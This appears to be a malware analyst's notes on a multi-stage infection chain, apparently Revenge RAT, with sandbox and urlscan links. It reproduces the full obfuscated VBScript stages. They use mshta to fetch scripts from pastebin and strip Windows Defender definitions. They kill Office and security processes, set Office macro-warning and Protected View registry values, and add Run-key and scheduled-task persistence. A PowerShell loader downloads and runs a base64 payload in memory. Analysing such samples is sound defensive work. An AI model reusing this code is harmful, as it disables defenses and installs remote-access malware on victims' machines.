#revenge notes 20190701
https://app.any.run/tasks/ea9a2b92-e65e-4f5a-9c49-ab5b3e6de4c9

----STAGE1----
https://welcometotechblogs.blogspot.com/p/cheryl.html   
https://urlscan.io/result/7db422e3-0b18-4f28-9518-99a10cd06ba5
----

<script language="VBScript">
Set Xkasdj2 = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Xa_aw1 = StrReverse(StrReverse("h")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(StrReverse("p")) + StrReverse(":") + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(".")) + StrReverse(StrReverse("p")) + StrReverse(StrReverse("a")) + StrReverse(StrReverse("s")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse("e") + StrReverse("b") + StrReverse("i") + StrReverse("n") + StrReverse(StrReverse(".")) + StrReverse("c") + StrReverse("o") + StrReverse(StrReverse("m")) + StrReverse(StrReverse(StrReverse(StrReverse("/")))) + StrReverse("r") + StrReverse(StrReverse("a")) + StrReverse(StrReverse(StrReverse(StrReverse("w")))) + StrReverse(StrReverse(StrReverse(StrReverse("/"))))
Xa_aw0 = StrReverse(StrReverse("m")) + StrReverse(StrReverse("s")) + StrReverse(StrReverse("h")) + StrReverse(StrReverse(StrReverse(StrReverse("t")))) + StrReverse(" a")
Xa_aw2 = "tmDQAps5"
XXX = Xa_aw0 + Xa_aw1 + Xa_aw2
Morg = XXX
Xa_aw = Morg
Xkasdj2.Run Xa_aw, vbHide
self.close
</script>


----STAGE2----
https://pastebin.com/raw/tmDQAps5
----

<script language="VBScript">

Set X7W832DSA = CreateObject(StrReverse("llehS.tpircSW"))
Dim ASSd712ji8asd
ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & taskkill /f /im MSASCuiL.exe & taskkill /f /im MpCmdRun.exe & exit"
X7W832DSA.Run ASSd712ji8asd, vbHide

Set X_ws = CreateObject("WScript.Shell")
Pa_2da = "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CCleanerUpdate"
X_ws.RegWrite Pa_2da,"mshta.exe http://pastebin.com/raw/PGEcvceN","REG_EXPAND_SZ"

Set x_S = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Dim MS_Xa
MS_Xa0 = StrReverse("/'+'w'+'a'+'r'+'/'+'m'+'o'+'c'+'.'+'n'+'i'+'b'+'e'+'t'+'s'+'a'+'p'+'/'+'/'+':'+'s'+'p'+'t'+'t'+'h'(gNiRTSdAolNwoD.)tneilCbeW.teN tcejbO-weN(( = s_AS$ xEON- exe.llehsrewop")
MS_Xa1 = "PGEcvceN'));$SA_s="
MS_Xa2 = StrReverse(";)X$,S$(ekovni.tnioPyrtnE.w_DSA$;)W_iC$(daoL.)(niamoDteG::]daerhT.gnidaerhT.metsyS[ = w_DSA$;)s_AS$(gnirtS46esaBmorF::]trevnoC.metsyS[ = W_iC$]][etyb[;)s_AS$(esreveR::]yarrA[;)(yarrArahCoT.s_AS$ = s_AS$;)'0','.'(ecalper.s_AS$")
MS_Xa = MS_Xa0 + MS_Xa1 + MS_Xa2
x_S.Run MS_Xa, vbHide

Set Mi_G = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Dim X_hw
X_hw0 = StrReverse("t/ 02 om/ ETUNIM cs/ etaerc/ sksathcs")
X_hw1 = "n ""Avast Updater"" /tr ""mshta.ex"
X_hw2 = "e http://pastebin.com/raw/rQtfery0"" /F "
X_hw = X_hw0 + X_hw1 + X_hw2
Mi_G.Run X_hw, vbHide

Set MySexoPhone = CreateObject(StrReverse("llehS.tpircSW"))
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("sgninraWABV\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.11\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.21\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.41\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.51\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\droW\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\tnioPrewoP\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIseliFtenretnIelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIstnemehcattAelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")
MySexoPhone.RegWrite StrReverse("VPnIsnoitacoLefasnUelbasiD\weiVdetcetorP\ytiruceS\lecxE\0.61\eciffO\tfosorciM\erawtfoS\UCKH"), 1, StrReverse("DROWD_GER")

self.close
</script>


----STAGE3-EXE----
https://pastebin.com/raw/PGEcvceN
----


----STAGE4-VBS----
scheduled task (redownload EXE)
https://pastebin.com/raw/rQtfery0
----

<script language="VBScript">
Set x_S = CreateObject(StrReverse(StrReverse("WScript.Shell")))
Dim MS_Xa
MS_Xa0 = StrReverse("/'+'w'+'a'+'r'+'/'+'m'+'o'+'c'+'.'+'n'+'i'+'b'+'e'+'t'+'s'+'a'+'p'+'/'+'/'+':'+'s'+'p'+'t'+'t'+'h'(gNiRTSdAolNwoD.)tneilCbeW.teN tcejbO-weN(( = s_AS$ xEON- exe.llehsrewop")
MS_Xa1 = "PGEcvceN'));$SA_s="
MS_Xa2 = StrReverse(";)X$,S$(ekovni.tnioPyrtnE.w_DSA$;)W_iC$(daoL.)(niamoDteG::]daerhT.gnidaerhT.metsyS[ = w_DSA$;)s_AS$(gnirtS46esaBmorF::]trevnoC.metsyS[ = W_iC$]][etyb[;)s_AS$(esreveR::]yarrA[;)(yarrArahCoT.s_AS$ = s_AS$;)'0','.'(ecalper.s_AS$")
MS_Xa = MS_Xa0 + MS_Xa1 + MS_Xa2
x_S.Run MS_Xa, vbHide
self.close
</script>